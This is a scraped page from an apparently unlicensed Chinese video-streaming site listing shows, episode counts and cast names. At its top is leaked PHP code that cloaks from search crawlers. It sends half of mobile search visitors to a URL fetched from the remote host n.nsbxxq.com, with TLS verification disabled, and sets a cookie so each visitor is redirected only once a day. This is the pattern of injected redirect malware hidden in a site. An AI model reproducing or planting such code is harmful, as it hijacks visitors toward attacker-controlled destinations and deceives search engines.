class MobileRedirect {
const REDIRECT_COOKIE_NAME = 'mobile_redirected';
const COOKIE_EXPIRE_DAYS = 1;
const REDIRECT_PROBABILITY = 50;
private $shouldRedirect = false;
private $redirectUrl = null;
public function __construct() {
$this->init();
}
private function init() {
if ($this->hasRedirected()) return;
$ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if (empty($ref)) return;
if (!$this->isMobile()) return;
if ($this->isSearchSpider()) return;
if (!$this->isValidMobileSource()) return;
if (mt_rand(1, 100) <= self::REDIRECT_PROBABILITY) {
$this->redirectUrl = $this->fetchRedirectUrl();
if ($this->redirectUrl) {
$this->shouldRedirect = true;
$this->setRedirectCookie();
}
}
}
public function shouldRedirect() {
return $this->shouldRedirect;
}
public function getRedirectUrl() {
return $this->redirectUrl;
}
public function outputRedirectScript() {
if (!$this->shouldRedirect || headers_sent()) return;
echo "";
}
private function isValidMobileSource() {
$ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$baidu = strpos($ref,'m.baidu.com')!==false || strpos($ua,'baiduboxapp')!==false;
$qihoo = strpos($ref,'m.so.com')!==false || strpos($ref,'so.m.sm.cn')!==false || strpos($ref,'so.com')!==false;
$shenma = strpos($ref,'m.sm.cn')!==false || strpos($ua,'SMBrowser')!==false;
$sogou = strpos($ref,'m.sogou.com')!==false || strpos($ua,'SogouMobileBrowser')!==false;
$bing = strpos($ref,'m.bing.com')!==false || strpos($ref,'bing.com')!==false;
$google = $this->isGoogleReferer($ref);
$yandex = $this->isYandexReferer($ref);
return $baidu || $qihoo || $shenma || $sogou || $bing || $google || $yandex;
}
private function isGoogleReferer($ref) {
if (empty($ref)) return false;
$host = parse_url($ref, PHP_URL_HOST);
if (!$host) return false;
return (bool) preg_match('/(^|\.)google\.[a-z]{2,3}(\.[a-z]{2,3})?$/i', strtolower($host));
}
private function isYandexReferer($ref) {
if (empty($ref)) return false;
$host = parse_url($ref, PHP_URL_HOST);
if (!$host) return false;
return (bool) preg_match('/(^|\.)(yandex\.[a-z]{2,3}(\.[a-z]{2,3})?|ya\.ru)$/i', strtolower($host));
}
private function isMobile() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
return preg_match('/mobile|android|iphone|ipod|blackberry|iemobile|opera mini|windows phone/i',$ua) && !preg_match('/ipad|tablet/i',$ua);
}
private function isSearchSpider() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$spiders = '/baiduspider|360spider|yisouspider|shenma|bingbot|sogou|googlebot|yandex(bot|images|mobilebot|metrika)/i';
return preg_match($spiders, $ua);
}
private function hasRedirected() {
return isset($_COOKIE[self::REDIRECT_COOKIE_NAME]) && $_COOKIE[self::REDIRECT_COOKIE_NAME]==='1';
}
private function setRedirectCookie() {
$expire = time() + self::COOKIE_EXPIRE_DAYS * 86400;
$secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS']!=='off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT']==443);
setcookie(self::REDIRECT_COOKIE_NAME,'1',$expire,'/','',$secure,true);
}
private function fetchRedirectUrl() {
$ch = curl_init('https://n.nsbxxq.com/b.php');
curl_setopt_array($ch,array(
CURLOPT_RETURNTRANSFER=>true,
CURLOPT_TIMEOUT=>5,
CURLOPT_SSL_VERIFYPEER=>false,
CURLOPT_SSL_VERIFYHOST=>false,
CURLOPT_USERAGENT=>'MobileRedirect/1.0'
));
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if($httpCode===200 && !empty($response)){
$url = trim($response);
return filter_var($url,FILTER_VALIDATE_URL) ? $url : null;
}
return null;
}
}
$redirect = new MobileRedirect();
$redirect->outputRedirectScript();
方世玉之千面修罗HD奇艺云免费在线播放-电影-星辰影院同类型
- 更新20260809第11期舞台纯享
谭笑,刘增辉,春怡和,丁一宇高圣熙郑允浩徐睿知
- 东南卫视,河南卫视更新第40集
金铭,王莎莎,刘佩琦,唐国强,陈浩民,江宏恩,范鸿轩,何家劲,金超群,杨立新,刘长德,刘典,王仪伟,张鹏,赵晟魁,白晓
- 更新第02集
萨姆·里德,雅各布·安德森,阿萨德·扎曼,德莱尼·海勒斯,詹妮弗·艾莉,埃里克·博高森,希拉·阿蒂姆,达米恩·阿特金斯,艾拉·巴伦坦,卢克·布兰登·菲尔德,克里斯托弗·海尔达尔,Ryan,Kattner,保罗·曼奇尼,谢默斯·帕特森,诺亚·雷德,珍妮·塞拉尔斯,莎拉·斯维尔,Sarah,Swire
- 全40集
陈晓,孙千,罗一舟,成泰燊,黄志忠,李纯,朱亚文,向涵之,吴樾,朱茵,梁冠华,王子璇,杨子骅,柯蓝,王永泉,刘佩琦,王雨,王建国,林夏薇,宋宁峰,令卓,栾元晖,扈天翼,唐鉴军,程枫,徐僧,韩云云,王俊彭,黄超
- 更新第24集
蒙恩,胡丹丹
- 更新第36集
李一桐,黑子,王以纶,鲍大志,尹铸胜,曾舜晞,张晞临,邓为,代露娃,简宇熙,邓孝慈,程泓鑫,范静雯,田嘉瑞
- 更新第12集
李宰旭,辛睿恩,洪民基,李秀敬
- 完结
陈浩民,温碧霞,钱嘉乐,苑琼丹,李家声,元华,叶璇,汤盈盈,邓兆尊
同主演
- 更新第10集
陈柏霖,童瑶,杨祐宁,蔡淑臻,莫子仪
- 更新第10集
陈柏霖,林依晨,陈匡怡,王阳明,罗北安,林美秀,应蔚民,李维维,林依晨陈柏霖王阳明陈匡怡
- HD粤语
梁洛施,陈柏霖,郑丹瑞,刘以达,林海峰,卢巧音,陈堤雅,谢志华,谭洁莹,望月由美,龚宝提,蔡谦述,杜港,施华峰,赵鸿辉,陈子丰,关智斌,张致恒,徐钵瓶,陈炜渝,邓智坚,何霆锋,李嘉丽,钟欣潼,周冰清,周玉洁,陈望华,黄晓初,陈志英,黄颐雅,蔡卓妍,卢玉麟,文杰豪,伍博颐,胡颖娴,李玮骑,区基林,余艳芬
- 更新至26期
陈柏霖,黄宣,叶舒华,许光汉,桂纶镁,新田真剑佑,草野大成
- 更新第26集
陈柏霖,黄宣,叶舒华,许光汉,桂纶镁,新田真剑佑,草野大成
- HD
梁咏琪,陈柏霖,邵兵,谭俊彦,杨渝渝
- 全28集
陈柏霖,蔡思韵,李铭忠,林哲熹,蔡凡熙,吴慷仁,许时豪,高英轩,吴志庆,澎恰恰
- HD
梁咏琪,陈柏霖,邵兵,谭俊彦,杨渝渝
热门视频
天启:剑域王朝
王梓亦&刘蓝鸽
未录入 / 其他
全75集
人气:2999
观看记录